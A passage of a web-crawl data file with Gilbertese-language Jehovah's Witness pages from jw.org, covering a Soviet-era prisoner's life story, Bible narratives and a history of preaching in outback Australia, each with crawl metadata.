(2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taniera\/6\/","date":"2018-03-18T01:24:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645405.20\/warc\/CC-MAIN-20180317233618-20180318013618-00519.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1202,"character_repetition_ratio":0.062,"word_repetition_ratio":0.035,"special_characters_ratio":0.243,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E TAETAE n un nakoiu bureitimanin te KGB * ni kangai: \"Bon te karo ngkoe ae ko bangaomata. Ko kaaki taekani buum ae bikoukou ma natim te aine ae uarereke. Antai ae e na kaamwarakeia ao n tabeakinia? Katoka te bwai ae ko kakaraoia ao okira mwengam!\" I kaeka ni kangai: \"I aki kaaki taekaia au utu. Boni ngkoe ae ko katikai, ao ibukin tera?\" E taku teuaei: \"Bon te bure ae kakaiaki nakoni buure nako te riki bwa Ana Tia Kakoaua Iehova.\"\nE riki te maroro anne n 1959 n te karabuuti n te kaawa ae Irkutsk i Rutia. N na karakinna bwa e aera ngkai ti tauraoi ngai ma buu ae Maria ni \"kammarakaki ibukin te raoiroi,\" ao ti kangaa ni kakabwaiaaki man teimatoara ni kakaonimaki.—1Bet. 3:13, 14.\nI bungiaki i Ukraine n 1933 n te kaawa ae Zolotniki. N 1937, a kawarira mai Buranti ai tinau ma buuna aika taani Kakoaua, ao a katikui iroura booki aika te Government ao Deliverance, ae boreetiaki n te Watch Tower Society. Ngke e wareki booki aikai tamau, e a manga ueke ana onimaki ibukin te Atua. E kananokawaki bwa n 1939 ao e a rangi n aoraki, ma imwaini matena ao e tuanga tinau ni kangai: \"Aio te koaua. Reireinia iai natira.\"\nSIBERIA—TE TABO N UARONGORONGO AE BOOU\nN Eberi 1951, a a waaki kaain te tautaeka ni kanakoia taani Kakoaua mai USSR maeao nako Siberia. Ti kakioakinako naba ngai ma tinau ao tariu ae uarereke riki ae Grigory, mai Ukraine Maeao. Imwini mwanangara n te raroa ae raka i aon 3,700 te maire (6,000 te kiromita) n te turein, ti a roko n te kaawa ae Tulun i Siberia. Uoua te wiki imwina, e a roko tariu ae ikawai riki ae Bogdan n te kaembwa are teuana n te kaawa ae uakaan ae Angarsk. E a tia ni kabureaki i nanon 25 te ririki n te tabo are a kammwakuraki iai buure.\nTi uarongorongo n taabo ni maeka i Tulun ngai ma tinau, ao Grigory, ma ti bon riai n rangi ni kakauiango. N te katoto, ti titiraki ni kangai, \"Iai ae e kani kaboonakoa te kao?\" Ngkana e reke iroura te aomata ae kani kaboonakoa ana kao, ti taekina nakoina aroni kamimin karikan te kao. Imwin tabeua te tai, ao akea bwa ti a maroroakina taekan te tia Karikiriki. N te tai anne, e a koreaki taekaia taani Kakoaua n te nuutibeeba bwa a tititiraki ibukin te kao, ma a boni kakaaeia tiibu! Ao ti boni kuneia tabeman aika ai aroia tiibu! E kakukurei te reirei n te Baibara ma aomata aika nanorinano ao n akoi, n te aono ae tuai ni mwakuriaki aei. Ni boong aikai, iai te ekaretia teuana i Tulun ma taan uarongorongo iai aika e raka i aon 100.\nARONI KATAAKIN ANA ONIMAKI MARIA\nE reiakina te koaua buu ae Maria i Ukraine, n nukan te Kauoua ni Buaka Are Kabutaa Aonnaba. Ngke 18 ana ririki, e a aki karauaki iroun temanna bureitimanin te KGB, ao e kataia n anaa nanona bwa e na wene ni bure ma ngaia, ma e kamatoaa n rawa Maria. N te bong teuana ngke e a okira mwengana, ao e a wene imwaina teuarei i aon ana kainiwene. E waekoa ni birinako Maria. E rangi n un teuaei, ao e kakamaaka neiei bwa e na katikaki ni kabureaki ngkai te tia Kakoaua ngaia. N 1952, e a boni motikaki bwa e na kabureaki Maria i nanon tebwina te ririki. E namakinna neiei bwa ai aron Ioteba ngaia are e kabureaki ibukini kateimatoaan etin arona. (KBwaai 39:12, 20) E taku nakoni Maria te turaiua are nikiria n te karabuuti man te tabo ni kaboowi: \"Tai maaku. A bati aomata aika kabureaki, ma ngke a otinako a boni karineaki naba.\" E kakorakoraaki Maria n taeka aikai.\nMan 1952 nakon 1956, e kammwakuraki Maria n te tabo are a kammwakuraki iai buure i rarikin te kaawa ae Gorkiy (ai Nizhniy Novgorod ngkai) i Rutia. E tuangaki bwa e na korei koutii aroka, n tain naba te kamwaitorotoro. E a kerikaaki marurungina, ma n 1956 e a kainaomataaki, ao e a mwananga nako Tulun.\nI A RAROANAKO MA BUU AO NATIU\nNgke e tuangai te tari temanna i Tulun bwa iai te tari te aine ae e na roko, I a bwatika nakon te kainibwati bwa N na butimwaeia ao ni buokia n uotii ana bwai. Ngke I kaitiboo ma Maria, I a tangiria naba n te tai anne. E kainnanoa te kakorakora ae bati anaakin nanona bwa e na tangirai, ma I bon tokanikai. Ti mare n 1957. N te ririki are imwina, e a bungiaki natira te aine ae Irina, ma e rangi ni kimototo au tai ni kukurei ma ngaia. N 1959, I a katikaki ibukini boreetiani booki aika aanaki n te Baibara. I tiku ni kamatawarikaki i nanon te iterana te ririki. Ibukini kateimatoaan raun nanou n te tai anne, I aki toki n tataro ao n anenei kunan te Tautaeka n Uea, ao ni kataamneia arou n uarongorongo ngkana arona bwa I a manga bwara.\nNi menau n te karabuuti n te tai are I titirakinaki iai, e takarua nakoiu teuare titirakinai ao e taku, \"N te tai ae waekoa, ao ti nang kamanatuaingkami i aontano n aroia kimoa!\" I kaeka ni kangai, \"E taku Iesu bwa E NA tataekinaki te rongorongo ae raoiroi ae taekan te Tautaeka n Uea nakoia natannaomata ni kabane, ao akea ae kona ni katokia.\" E a manga bita ana anga teuaei ao e kataia n anaa nanou bwa N na kakeaa au onimaki n aron are e taekinaki mai moa. Ngke e aki naba nakoraoi aia kakamaaku ao aia anainano, e a baireaki bwa N na kabureaki itiua te ririki n te tabo are a kammwakuraki iai buure i rarikin te kaawa ae Saransk. I aoni kawaiu n nakon te tabo aei, ao I a ongo ae e a tia ni bungiaki natira te aine ae te kauoman ae Olga. E ngae ngke a raroanako buu ma natiu, ma e rau nanou n ataakin ae ti kateimatoa kakaonimakira ni koaua nakon Iehova ngai ma Maria.\nE mwamwananga Maria nako Saransk teuana te tai n te ririki bwa e na kawarai, e ngae ngke 12 te bong maanin te mwananga n te turein mai Tulun ao n oki. E uouota au kau ae boou ni katoa ririki, ao a karabaaki iai katoton Te Taua-n-Tantani n taai aika tibwa nako. N te ririki teuana, ao e rangi ni kakukurei rokoni Maria ni kawarai, bwa e a kairiia natira aine ake uoman. Iangoa aron rotakin nanou ngke I a bon noriia ao ni mena i rarikia!\nARA TABO AIKA BOOU MA KANGAANGA AIKA BOOU\nI kainaomataaki n 1966 ao ti a mwaing ngaira ake aman nakon te kaawa ae Armavir i rarikin te Black Sea. A bungiaki ikanne natira mwaane aika Yaroslav ao Pavel.\nE aki maan ao a a manga roko naba bureitimanin te KGB n ninia ara auti ni kakaaei booki aika aanaki man te Baibara. A karaoa aia kakaae n taabo nako, ao a roko naba ni nneni kanaia kaao. N te tai teuana, a a rangi ni maonotiti naakai bwa e rangi ni kabuebue, ao e a onrake aia kunnikai n te bubu. E nanoangaiia Maria, ngkai a bon tii ongeaba ni karaoa are a tuangaki. E kabwaroi nimaia ao e angania te burati ni kunnikai, te boora n ran, ao taian taara. Imwina riki, ngke e a roko aia mataniwi ao a a karakina akoaia nakoina. Ngke a taonnako, ao e wingare nakoira te mataniwi arei ao e katea baina. Ti kukurei n nora te aroaro ae raoiroi imwin ae ti kataia n \"teimatoa ni kataenikaia te buakaka n te raoiroi.\"—IRom 12:21.\nN aki ongei niniakin ara auti, ma ti teimatoa n uarongorongo i Armavir. Ti buoka naba kakorakoraan te kurubu n uarongorongo ae uarereke, n te kaawa ae uakaan ae Kurganinsk. I rangi ni kimwareirei n ataakin ae ai onoua ngkai te ekaretia i Armavir ao aua i Kurganinsk.\nNi waakinakon ririki, iai taai ake e a mamaara iai ara onimaki. Ma ti kaitaua Iehova bwa e kabonganaia taari mwaane aika kakaonimaki bwa a na kaetiira ao ni kakorakorai ara onimaki. (TaiAre. 130:3) Boni kataakira ae korakora naba te uaia ni mwakuri ma bureitiman ni karaba man te KGB, ake a baka n riki bwa kaain te ekaretia n akea ataakina iroura. A taraa n ingainga ao a katoatai n uataboa te mwakuri ni minita. Tabeman a anganaki mwioko aika kakawaki n ana botaki Iehova. Ma imwina riki, ti a kinaia bwa antai raoi ngaiia.\nN 1978, e a manga bikoukou Maria ngke ai 45 ana ririki. Ibukina bwa iai aorakini buroona ae wenemaan, a raraoma taokita bwa mwina e mate, ngaia are a anaa nanona bwa e na kabwakaa natina. Ma e rawa Maria ngaia are a ririmwina taokita nakon taabo ake e nako iai n te onnaoraki bwa a na kataia n itinna bwa e aonga n rimoan ana tai ni bung. Ibukini kamanoan natina, e a birinako Maria man te onnaoraki.\nE tua nakoira te KGB bwa ti na kitana te kaawa. Ti mwaing nakon te kaawa ae uarereke ae uakaan ma te kaawa ae Tallinn i Estonia, ae n te tai anne e mena i aan te USSR. E aki riki te baere a taekinna ngkoa taokita, bwa e bungia Maria natina te mwaane ae Vitaly ae marurung raoi i Tallinn.\nImwina riki, ti a mwaing mai Estonia nako Nezlobnaya n aonon Rutia maiaki. Ti uarongorongo ma te wanawana ni kaawa aika uakaan aika kakawaraki irouia kaain te aba aei ni kabutaa. A roroko ikai ibukin te bwainnaoraki, ma a okinako tabeman ma te kantaninga ibukin te maiu are aki toki!\nKAIKAWAAIA NATIRA BWA A NA TANGIRA IEHOVA\nTi kataia ni karin i nanoia natira mwaane ma aine tangiran Iehova ao te kani beku ibukina. Ti aki toki ni kaoia nakoni mwengara taari ake a na buokaki natira irouia. Ara iruwa temanna ae okioki bon tariu ae Grigory are beku bwa te mataniwi ae mwamwananga man 1970 nakon 1995. A rangi n unga kaain ara utu n rokon teuaei bwa e kukukurei ao te tia kamanga naba. Ngkana iai ara iruwa, ti kakaraoi takaakaro man te Baibara, ao a a rikirake natira n tatangiri karaki man te Baibara ake rimoa.\nN 1987, e a mwaing natira te mwaane ae Yaroslav nakon te kaawa ae Riga i Latvia, ike e a inaomata riki iai n uarongorongo. Ma ngke e rawa ni kaaina te taanga ni buaka, e a kabureaki teuana ao te iterana te ririki ni karabuuti aika ruaiwa aika kakaokoro. Baike I karakin nakoina ni menau n te karabuuti, e a buokaki iai n nanomwaaka. Imwina riki, e a beku bwa te bwaiania. N 1990 ao natira te mwaane ae Pavel ae 19 ana ririki, e a kani bwaiania n te abamwakoro ae Sakhalin i meangin Tiaban. N te moantai, ti aki kani kanakoa. Bon tii 20 taan uarongorongo n te aba anne, ao ti raroanako mai iai bwa e raka i aon 5,500 te maire (9,000 te kiromita) raroana. Ma ti a kariaia imwina, ao bon te motinnano ae raoiroi. A butimwaea rongorongon te Tautaeka n Uea kaain te aba anne, ao i nanon tabeua te ririki, ai wanua te ekaretia iai. E beku Pavel i Sakhalin ni karokoa 1995. N te tai anne, ao ai bon tii ara bina te mwaane ae Vitaly, ae tiku n te auti. Mangke e uarereke, e kani wawareka te Baibara. E moana ana bwaiania ngke 14 ana ririki ao I bwaiania ma ngaia i nanon uoua te ririki. Bon te tai ae kakukurei taai akanne. Ngke ai 19 ana ririki, e a kitanira ni beku bwa te bwaiania ae okoro.\nN 1952, e tuanga ngkoa Maria te bureitiman n te KGB temanna ni kangai: \"Kakeaa am onimaki ao ngkana ko aki ko na kabureaki tebwina te ririki. Ko na otinako ngkana ko a kara ao ko na tiku n tii ngkoe.\" Ma a rangi ni kaokoro baika riki. Ti namakina tangirara iroun Atuara ae kakaonimaki ni koaua ae Iehova, natira, ao aomata aika bati ake ti kakabwaiaaki ni buokiia bwa a na ataa te koaua. Ti kimwareirei ngai ma Maria ni kawari taabo ake a beku iai natira. Ti noria bwa a kakaitau naake a buokaki bwa a na kinaa Iehova, irouia natira.\nI KAKAITAU IBUKIN RAOIROIN IEHOVA\nN 1991, e a kinaaki i aan te tua aia mwakuri Ana Tia Kakoaua Iehova. E karekea te ingainga ae boou te moti anne, ibukin te mwakuri n uarongorongo. A kabooa naba tewaana te bwati kaain ara ekaretia bwa ti aonga ni kakawari kaawa ake i rarikira ni katoa wikeen.\nI kukurei ngkai a beku n te Betaera Yaroslav ma buuna ae Alyona, ao Pavel ma buuna ae Raya. A beku n te mwakuri ni mwamwananga n te aono Vitaly ma buuna ae Svetlana. Natira te aine are te karimoa are Irina e maeka i Tiaman ma ana utu, ao buuna ae Vladimir ma natiia mwaane aika teniman, a bane ni beku bwa unimwaane n te ekaretia. E maeka natira te aine ae Olga i Estonia ao e katoatai n reitaki ma ngai. E kananokawaki bwa e mate buu ae tangiraki ae Maria n 2014. I ingainga ni kan noria n te mangauti. I a maeka ngkai n te kaawa ae Belgorod, ao a rangi ni boutokaai taari ikai.\nI reireinaki n ririki ake I beku iai ibukin Iehova bwa bon iai kangaanga ake a na reke ni kateimatoaan etin arora, ma e rianako riki te raunnano are e anga Iehova ibukin anne. Kakabwaia aika I karekei ma Maria ibukini kateimatoaani kakaonimakira, a rangi ni bati riki nakon ae I kona n iangoia. Imwaini bwakan te USSR n 1991, bon tii 40,000 tabun taan uarongorongo. Ni boong aikai, e a raka i aon 400,000 mwaitiia taan uarongorongo n aaba ake a mena ngkoa i aan te Soviet Union! Ai 83 au ririki ngkai, ao I teimatoa ni beku bwa te unimwaane. Ana boutoka Iehova, e teimatoa n reke bwa kakorakoraau bwa N na nanomwaaka. Eng, e kabatiaa kakabwaiaau Iehova.—TaiAre. 13:5, 6.\n^ bar. 4 KGB boni kauarerekean te Soviet State Security Committee n te taetae n Rutia.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-aokati-2017\/nanomwaaka-i-aan-te-kataaki\/","date":"2018-03-21T11:27:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647612.53\/warc\/CC-MAIN-20180321102234-20180321122234-00124.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2330,"character_repetition_ratio":0.047,"word_repetition_ratio":0.004,"special_characters_ratio":0.232,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E A MANGA MWANANGA IESU I KARIRAIA\nE KANAKOIA ABOTORO BWA A NA UARONGORONGO\nE a tia Iesu ni kakorakoraa n uarongorongo i nanon uoua tabun te ririki. E koaua bwa e a boo ana tai ni motirawa man ana mwakuri? Ni kaitaraan anne, e a karababaa riki ana mwakuri n uarongorongo \"ni kawari kaawa ni kabane aika bubura ma aika uarereke [i Kariraia], n angareirei n aia tinakoka ao n tataekina te rongorongo ae raoiroi ae taekan te Tautaeka n Uea, ma ni katoki aeka n aoraki ma mamaara ni kabane.\" (Mataio 9:35) Mani baike e nori, e a kakoauaa iai bwa e riai ni karababaaki riki te mwakuri n uarongorongo. Ma e na kangaa ni kakororaoa aei?\nNi mwamwanangana nakon taabo ake e kawari ao e noriia aomata ake a kainnanoa kamarurungan aia onimaki ao kabebeteaia. A a riki n aroia tiibu aika akea aia tia kawakintiibu, aika karawawataaki ma ni kananoanga. E nanoangaiia naakai ao e tuangia taan rimwina ni kangai: \"A a rangi ni bati uaa aika riai n taiaki ngkai, ma a karako taani mwakuri. Mangaia ae butiia Mataniwin te tai bwa e na kanakoia taani mwakuri nakon taiakin ana uaa.\"—Mataio 9:37, 38.\nE ataa Iesu te bwai ae kona n ibuobuoki. E weteiia ana abotoro ake 12, e katoaiia ni kakauomania ao e a reke iai onoua te tiim n uarongorongo. E a angania ngkanne kaetieti aika mataata ni kangai: \"Tai nako ni kawariia akana tiaki I-Iutaia, ao tai kawari aia kaawa I-Tamaria, ma tii kakawariia tiibu aika bua aika tibun Iteraera. Kam na nako ao kam na uarongorongo ni kangai: 'E a kaan te Tautaeka n Uea ae bwaini karawa.'\"—Mataio 10:5-7.\nTe Tautaeka n Uea are a na tataekinna bon are e reireinia Iesu bwa a na tataroia n te tataro ni katoto. E nanonaki n ae 'e a kaan roko te Tautaeka n Uea,' bwa e a kaoti te Uea ae Iesu Kristo are rineaki iroun te Atua. Tera ngkanne te bwai ae e na kakoauaaki iai bwa bon taan rimwina aika tei ibukin te Tautaeka n Uea? E angania taan rimwina te mwaaka ni kamarurungia aoraki, ao ni kautiia naba maate n akea boona. Ma a na kangaa ngkanne ana abotoro n tabeakini baike a kainnanoi, n aroni kanaia ni katoabong?\nE tuangia taan rimwina bwa a na aki katauraoa uotaia ngkana a mwananga n uarongorongo. A na aki karekea te koora, te tirewa, ke te buraati, n uotii i nanon aia bwauti ni mwane. A na aki naba uota te buua n amwarake ibukin te mwananga, ke ni kauouai aia kunnikai, ke aia kau. Bukin tera bwa a na aki karaoa anne? E karaui nanoia Iesu ni kangai: \"E riai bwa e na anganaki te tia mwakuri kanana.\" (Mataio 10:10) A na ibuobuoki aomata ake a butimwaea te rongorongo ni baike a kainnanoi taan rimwina. E taku Iesu: \"Ngkana kam rin n te auti teuana, ao maeka iai ni karokoa nakomi man te kaawa anne.\"—Mareko 6:10.\nE angania naba kaetieti n aroia n uarongorongoa te Tautaeka n Uea nakoia kaain te auti ni kangai: \"Ngkana kam rin n te auti, kamauriia kaaina ni kangai, 'Te raoi iroumi,' ao ngkana a tau ni kawaraki kaaina, e na mena te raoi i aoia ma ngkana a aki tau, e na okiringkami ami raoi. Ma ngkana e aki kani butimwaeingkami temanna ke n ongo ami taeka, kam na ioi tanoni waemi ngkana kam otinako man te auti ke te kaawa anne.\"—Mataio 10:12-14.\nE kona naba n aki butimwaeaki aia rongorongo ni kabutaa te kaawa ae bubura ke ae uarereke. Tera nanon anne ibukin te tabo anne? E kaotia Iesu bwa iai te motikitaeka ae matoatoa ae e na riki. E kabwarabwaraa ni kangai: \"I tuangingkami te koaua, bwa e na bebete riki tuuaan te aba ae Totom ma Komora n te Bong ni Motikitaeka nakon tuuaan te kaawa anne.\"—Mataio 10:15.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-kariraia\/tautaeka-n-uea-uarongorongo-kataneiaakia-abotoro\/","date":"2018-03-22T00:43:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647707.33\/warc\/CC-MAIN-20180321234947-20180322014947-00569.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":638,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E riki Iotia bwa uean Iuta ngke wanua ana ririki. Ni boong akanne, ao a tatabunea aomata ma n taromaurii bouannanti. Ngke ai 16 ana ririki Iotia, e kataia n reiakina aron taromaurian Iehova n te aro ae eti. Ngke ai 20 ana ririki, e a urui bouannanti ao baonikarea ni kabutaa te aba. Ngke ai 26 ana ririki, e a baireia bwa e na onobwaiaki ana tembora Iehova.\nE kunea bokin Ana Tua Iehova n te tembora te ibonga ae rietata ae Irekia, ae tao bon te nira ni boki are e koreia Mote. E uotaki nakon te uea te nira ni boki aei iroun ana tia koroboki ae Tiaban ao e a kabaibati ni wareka te Tua. Ngke e kakauongo Iotia, e a ataia bwa a a tia n aki ongeaba aomata iroun Iehova i nanon ririki aika bati. E taku te Uea ae Iotia nakon Irekia: 'E a rangi n un Iehova iroura. Naako ao taetae nakoina. E na tuangira Iehova te bwai ae ti riai ni karaoia.' Ao Iehova e kaekaia rinanon te burabeti n aine ae Ureta ni kangai: 'A a tia ni kitanai kaain Iuta. A na boni katuuaaeaki ma tiaki n ana tai n uea Iotia ibukina bwa e kananorinanoa i matau.'\nNgke e ongo taeka aikai te Uea ae Iotia, e a nakon te tembora ao e weteiia kaain Iuta ni kabane. Imwina, e wareka Ana Tua Iehova nakon te natannaomata aei. Ao a berita Iotia ma aomata bwa a na ongeaba iroun Iehova ma nanoia ni kabane.\nA tuai mani bukamarua te Toa ae te Riao te natannaomata ae Iuta i nanon ririki aika bati. Ma ngke e wareka te Tua Iotia ao e taekinaki iai bwa e riai ni bukamaruaki te Toa ae te Riao ni katoa ririki. Ngaia are e taku nakon te natannaomata aei: 'Ti na karaoa te Toa ae te Riao nakon Iehova.' Imwina, e katauraoia Iotia bwa e na anga karea aika bati ao e baireiia taan anene i nanon te tembora. Ao a a karaoa te Toa ae te Riao, ae taorimwiaki n te Toa ae te Bwerena ae Aki Karikaki i nanon itiua te bong te natannaomata anne. Akea te Toa ae te Riao ae ai aron aei mai mwaina ni moa man ana bong Tamuera. E bon tangira raoi Ana Tua te Atua Iotia. Ao ngkoe ko kukurei n reiakina naba taekan Iehova?\n\"Bon taurani waeu am taeka, ao ootani kawaiu.\"—Taian Areru 119:105","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/9\/te-uea-ae-iotia-ae-raoiroi\/","date":"2018-03-20T06:36:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647299.37\/warc\/CC-MAIN-20180320052712-20180320072712-00316.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":406,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) February 2015\nIai n te maekatin aei kaongora ibukin te reirei n Eberi 6 nakoni Mei 3, 2015.\nE otinako te boki ae boou ae \"The Bible—The Gospel According to Matthew\" i Tiaban. Baikara kanoana? Tera bukini katauraoana?\n1 Betero 2:21 e kairira bwa ti na tou mwini mwanekan Iesu. Ti na kangaa ni kakairi n ana akoi Iesu e ngae ngkai ti aki kororaoi?\nTi buokaki n te Baibara bwa ti na reiakina aron Iesu. Iangoa arora ae ti kona iai n toua mwini mwanekana rinanon katotongan ninikoriana ao ana ataibwai.\nTi ataia bwa bon te mwakuri ae moan te kakawaki tataekinan te rongorongo ae raoiroi ni boong aikai. Ti na kangaa ni kateimatoaa ao ni karikirakea ingaingara n te mwakuri ni minita?\nA kangaa n tokanikai Kristian ake rimoa n tataekinan te rongorongo ae raoiroi? Tera ae karika te uarongorongo bwa e na bebete riki n te moan tienture nakon boong riki ake tabeua rimoa?\nTera ae riki n taai aikai, ae a buokaki iai ana toro Iehova n tataekina te rongorongo ae raoiroi n te aro a uaana ni kabutaa te aonnaba?\nTera ae riai ni karaoaki ibukini buokaia taari ake a rotakibuaka ni boini boiarara? N taai raa ae e riai n rabuna atuna iai te aine ae te tia uarongorongoa te Tautaeka n Uea?\nRONGORONGORA RIMOA\nE aranaki Kauringaan maten Kristo n te Zion's Watch Tower bwa \"te bong ae rangi ni kakawaki ao a kaungaaki taani wareware bwa a na kakauringnga. E kangaa ni karaoaki te Kauring n taai ake rimoa?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20150215\/","date":"2018-03-17T18:46:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645280.4\/warc\/CC-MAIN-20180317174935-20180317194935-00012.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":257,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NI MAATI 26, 1937 ao a karaurau ni mwananga uoman mwaane aika a boni kua i aon aia turaki ae onrake n te bubu i Sydney, i Aotiteria. Kioina ngkai ai teuana aia ririki ni kitana te kaawa, a a tia ni mwananga n te raroa ae raka i aon 12,000 te maire (19,300 te kiromita) rinanon aono tabeua aika aobuaka ao n rangi n raroanako ma te kaawa n te aba aei. Tiaki taani mwamwananga ke taani boborau mwaane aikai. Arthur Willis ao Bill Newlands boni bwaiania aika ingainga ni kani karokoa te rongorongo ae raoiroi, ae taekan Ana Tautaeka n Uea te Atua n te aono ae rangi ni bubura ae raroanako ma kaawa i Aotiteria.\nMan te tai anne ni karokoa raabanen 1920 tabun, a a tia Taan Reirei n te Baibara * aika karako mwaitiia i Aotiteria, n uarongorongo n angiin te tai i nanon ao ni kabutai kaawa ake i mataniwin taari. A karako aomata aika maeka i nukan te aono ae raroanako ma kaawa, are mwauteretere ao ni bubura riki nakon iteran abwakin te United States. Ma a ota raoi taari aikai, ae a riai taan rimwin Iesu n uarongorongoa taekana \"nakon taabo ake taiani kabanea n raroa n te aonnaba,\" n ikotaki naba ma taabo ake a raroanako ma kaawa i Aotiteria. (Mwa. 1:8) Ma a kangaa ni kakororaoa te mwakuri ae rangi bubura aei? A onimakina raoi Iehova bwa e na kakabwaiaa aia kakorakora ao a motinnanoia bwa a na karaoa aia kabanea ni konaa.\nA MOANA TE MWAKURI N UARONGORONGO BWAIANIA\nN 1929, a karaoi kaa aika bobonga raoi te ekaretia teuana i Queensland ao teuana i Aotiteria Maeao bwa a aonga ni kabutai aono ake i nukan te aba. A kabutaki kaa aikai irouia bwaiania aika korakora ake a kona ni buti n taabo ake a aki aoraoi ao n onobwai taiani kaa ngkana a uruaki. A roko bwaiania aikai n taabo ake a tuai n ongoraeaki iai te rongorongo ae raoiroi.\nA kamanenai bwatika bwaiania ake akea aia kaa ni kawari aono ake a rangi n raroa ma kaawa. N te katoto, n 1932 ao Bennett Brickell ae 23 ana ririki, e mwananga n uarongorongo mai Rockhampton i Queensland, i nanon nimaua te namwakaina rinanon taabo ake e kangaanga te roko iai n iteran Aotiteria mai meang. E rawawata uotan ana bwatika bwa burangketi, kunnikai, amwarake, ao booki aika bati. Ngke e a uruaki ana bwatika, e boni waakina naba ana mwakuri, bwa e kakoauaa ae e na kairiria Iehova. E boni kokoka ana bwatika n nikirani kawaina ae 200 te maire (320 te kiromita) rinanon taabo ake a a tia ni mate iai ngkoa aomata man te bwatakataka. E a tia ni mwamwananga Brother Brickell n te raroa ae nga ma nga te maire i nanon 30 te ririki ake imwina n te bwatika, te rebwerebwe, ao te kaa. E kauka te mwakuri n uarongorongo nakoia taian Aborigine ao e buoki katean ekaretia aika boou, ike e a rangi ni kinaaki iai ao ni karineaki n aono nako ake a rangi n raroa ma kaawa.\nTE TOKANIKAI I AONI KANGAANGA\nE rangi n uarereke mwaitiia kaain Aotiteria ni kaineti ma buburan te aba anne ngkana e kabotauaki ma angiin aaba, ao e karako mwaitiia ake a mena n taabo aika raroa ma taiani kaawa. Ngaia are a kakorakoraia ana aomata Iehova n ukeriia aomata nako n aono ake e kangaanga te roko iai n te aba aei.\nA kaota te nano anne bwaiania aika Stuart Keltie ao William Torrington. N 1933, a rinanon te rereua ae Simpson Desert ae tabukibuki iai te tano, bwa a na uarongorongo n te kaawa ae Alice Springs, i nukan te aba aei. Ngke e uruaki aia kaa ae uarereke are e a riai ni katukaki, e bon iri naba n uarongorongo Brother Keltie are waena te kai, ma e a kamanena ngkai te kamero! E uaana aia kakorakora bwaiania aikai bwa a kaitiboo ma te manatia n te outero i William Creek, ae ana tabo ni motirawa te turein ae kangaanga te roko iai. Bon te manatia n te outero Charles Bernhardt are e butimwaea te koaua imwina riki, e kaboonakoa ana outero, ao e bwaiania n tii ngaia 15 te ririki n aonon Aotiteria tabeua aika rangi ni mwauteretere ao n rangi n raroanako ma kaawa.\nA riai n ninikoria ao n nanomatoa bwaiania ake rimoa bwa a aonga n tokanikai i aoni kangaanga ake a kaaitarai. Ngke a mwananga n uarongorongo n aonon Aotiteria ake a rangi n raroa ma kaawa Arthur Willis ao Bill Newlands ake a taekinaki mai moa, ao n te taina a korakai i nanon uoua te wiki ni mwanangaia n te raroa ae 20 te maire (32 te kiromita) ibukina bwa e rangi ni korakora te karau ike e a bitaki iai te rereua nakon taari ae bokaboka. N tabetai, a kokoka aia turaki ribuakon tabuki n tano ma bwararani maonoia, a korakai i aan te kabuebue ae moan te korakora, a ribuakoni mwarua aika kiribwa ao a rinanoni kabini karaanga aika bikebike. Ngkana e uruaki aia turaki, n aron ae e aki toki n riki, a nakonako ke a bwatika i nanoni boong aika bati nakon te kaawa ae te kabanea ni kaan ao imwina a tataninga i nanoni wiki ni kariariai rokoni bwain aia kaa aika boou. E teimatoa nanoia ae raoiroi n aki ongei kangaanga. E mwanewea te taeka ngkoa n te maekatin ae 